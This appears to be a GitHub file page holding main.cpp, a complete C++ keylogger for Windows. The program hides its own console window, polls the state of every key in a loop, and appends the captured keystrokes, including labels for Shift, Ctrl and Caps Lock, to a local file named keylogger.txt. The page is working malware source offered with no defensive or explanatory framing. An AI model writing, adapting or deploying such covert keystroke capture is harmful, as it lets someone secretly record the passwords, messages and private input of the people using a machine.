-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.cpp
81 lines (70 loc) · 1.95 KB
/
main.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#include <iostream>
#include <fstream>
#include <windows.h>
#include <bits/stdc++.h>
//log file path
#define LOG_FILE "keylogger.txt"
//save data into log file
void saveData(std::string data) {
std::fstream logFile;
logFile.open(LOG_FILE, std::ios::app);
logFile << data;
logFile.close();
}
std::string translateSpecialKey(int key) {
std::string result;
switch (key)
{
case VK_SPACE:
result = " ";
break;
case VK_RETURN:
result = "\n";
break;
case VK_BACK:
result = "\b";
break;
case VK_CAPITAL:
result = "[CAPS_LOCK]";
break;
case VK_SHIFT:
result = "[SHIFT]";
break;
case VK_TAB:
result = "[TAB]";
break;
case VK_CONTROL:
result = "[CTRL]";
break;
case VK_MENU:
result = "[ALT]";
default:
break;
}
return result;
}
int main() {
int specialKeyArray[] = {VK_SPACE, VK_RETURN, VK_SHIFT, VK_BACK, VK_TAB, VK_CONTROL, VK_MENU, VK_CAPITAL};
std::string specialKeyChar;
bool isSpecialKey;
HWND hwnd = GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE);
while (true) {
for (int key = 8; key <= 190; key++) {
if (GetAsyncKeyState(key) == -32767) {
isSpecialKey = std::find(std::begin(specialKeyArray), std::end(specialKeyArray), key) != std::end(specialKeyArray);
if (isSpecialKey) {
specialKeyChar = translateSpecialKey(key);
saveData(specialKeyChar);
} else {
if (GetKeyState(VK_CAPITAL)) {
saveData(std::string(1, (char)key));
} else {
saveData(std::string(1, (char)std::tolower(key)));
}
}
}
}
}
return 0;
}